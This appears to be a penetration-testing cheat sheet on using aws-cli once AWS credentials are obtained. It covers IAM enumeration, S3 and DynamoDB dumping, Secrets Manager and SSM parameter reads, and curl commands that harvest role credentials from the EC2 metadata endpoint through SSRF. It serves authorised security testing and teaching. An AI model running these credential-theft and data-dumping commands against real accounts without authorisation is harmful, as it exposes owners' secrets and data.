☼
⌃
☰

aws-cli

Table of Contents

aws-cli is the official command-line interface for interacting with AWS services. In a pentest context, it's most relevant once credentials (leaked keys, an assumed role, an SSRF-exposed instance metadata endpoint) have been obtained — at that point it's the fastest way to enumerate what those credentials actually grant access to.

Related: Azure SSRF [[Denote query for ‘20260709T193500’]] PT1 Vulnerability Classification Cheat Sheet

Configuring Credentials

SHELL
# Interactive setup — prompts for access key, secret key, region, output format
aws configure

# Or set directly via environment variables (useful for quickly
# testing credentials found during an engagement without persisting them)
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...   # only needed for temporary/STS credentials

# Multiple credential sets — use named profiles
aws configure --profile found-creds
aws s3 ls --profile found-creds

Confirming and Identifying Credentials

Always confirm what a set of credentials actually is before enumerating further — this single command tells you the account, user/role ARN, and whether the credentials even work at all.

SHELL
aws sts get-caller-identity

Enumerating Permissions

AWS has no single "list my permissions" command — permission enumeration is inferential, done by attempting actions and noting what succeeds vs. what returns AccessDenied.

SHELL
# List attached policies for the current user (if permitted)
aws iam list-attached-user-policies --user-name <username>
aws iam list-user-policies --user-name <username>

# List all users, roles, and groups (broad IAM read often over-permissioned)
aws iam list-users
aws iam list-roles

# Automated permission enumeration — far faster than manual guessing
# (external tool, not part of aws-cli itself)
# pacu, enumerate-iam.py, or ScoutSuite are the standard choices

S3 Bucket Enumeration and Access

One of the most common findings — misconfigured bucket permissions.

SHELL
# List all buckets the credentials can see
aws s3 ls

# List contents of a specific bucket
aws s3 ls s3://bucket-name

# Download bucket contents
aws s3 sync s3://bucket-name ./local-dir

# Test anonymous/unauthenticated access to a bucket (no credentials needed)
aws s3 ls s3://bucket-name --no-sign-request

# Check a bucket's actual ACL/policy
aws s3api get-bucket-acl --bucket bucket-name
aws s3api get-bucket-policy --bucket bucket-name

DynamoDB Enumeration

DynamoDB is AWS's NoSQL database service — worth checking whenever credentials grant any level of access, since tables often contain exactly the kind of data (user records, credentials, session tokens) a CTF or engagement is ultimately after.

SHELL
# List all tables the credentials can see
aws dynamodb list-tables

# Describe a table's structure — key schema, attributes, item count
aws dynamodb describe-table --table-name <table-name>

# Scan a table — dumps every item, no query condition needed
aws dynamodb scan --table-name <table-name>

# Scan with a specific region if not set in default config/profile
aws dynamodb scan --table-name <table-name> --region us-east-1

# Query instead of scan when you know the partition key — faster
# and more targeted than a full scan on a large table
aws dynamodb query --table-name <table-name> \
  --key-condition-expression "PK = :pk" \
  --expression-attribute-values '{":pk": {"S": "USER#admin"}}'

Reading Scan Output

DynamoDB's JSON output is type-annotated rather than plain key-value — each attribute is wrapped with its data type (S string, N number, B binary, M map, L list). Worth knowing this going in so the output isn't confusing:

JSON
{
  "Items": [
    {
      "username": {"S": "admin"},
      "password_hash": {"S": "5f4dcc3b5aa765d61d8327deb882cf99"},
      "role": {"S": "administrator"}
    }
  ]
}

Use --output text or pipe through jq to strip the type annotations for faster reading during a live engagement:

SHELL
aws dynamodb scan --table-name <table-name> --output json | \
  jq -r '.Items[] | "\(.username.S): \(.password_hash.S)"'

Pagination

Large tables paginate — a single scan may not return everything on the first call:

SHELL
# Check for LastEvaluatedKey in the response — if present, more data remains
aws dynamodb scan --table-name <table-name> \
  --exclusive-start-key '{"PK": {"S": "last-key-from-previous-response"}}'

# Or just use --output text and let the CLI's built-in pagination
# handle it automatically for most cases
aws dynamodb scan --table-name <table-name> --no-paginate

EC2 / Instance Metadata (SSRF-Relevant)

If SSRF grants access to an EC2 instance's metadata service, the resulting temporary credentials can be used directly with aws-cli — this is one of the most impactful SSRF outcomes on cloud-hosted targets.

SHELL
# From inside the exploited request (IMDSv1 — no token required)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

# IMDSv2 requires a token first (defense against basic SSRF)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

# The response includes AccessKeyId, SecretAccessKey, and Token —
# export these and use aws-cli normally

Secrets Manager / Parameter Store

Common places credentials for other services get stored — worth checking once any IAM read access is confirmed.

SHELL
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id <secret-name>

aws ssm describe-parameters
aws ssm get-parameter --name <parameter-name> --with-decryption

Tips

  • Always run aws sts get-caller-identity first — confirms the credentials work and tells you exactly what account/role you're dealing with before spending time on further enumeration
  • IMDSv1 (no token, plain curl to the metadata endpoint) is the classic SSRF-to-cloud-credential chain — if a target is cloud-hosted and SSRF is present, always attempt this before assuming SSRF impact is limited to internal network access
  • --no-sign-request is worth trying against any discovered S3 bucket name even without credentials — many buckets are misconfigured for public read without anyone realizing
  • Permission enumeration by trial-and-error (attempting actions and reading the AccessDenied messages) is slow manually — pacu automates this far more thoroughly than hand-running individual aws-cli commands one at a time
  • AccessDenied errors are informative, not just failures — the exact error message often reveals which specific permission is missing, useful for understanding the actual boundary of what a credential set can do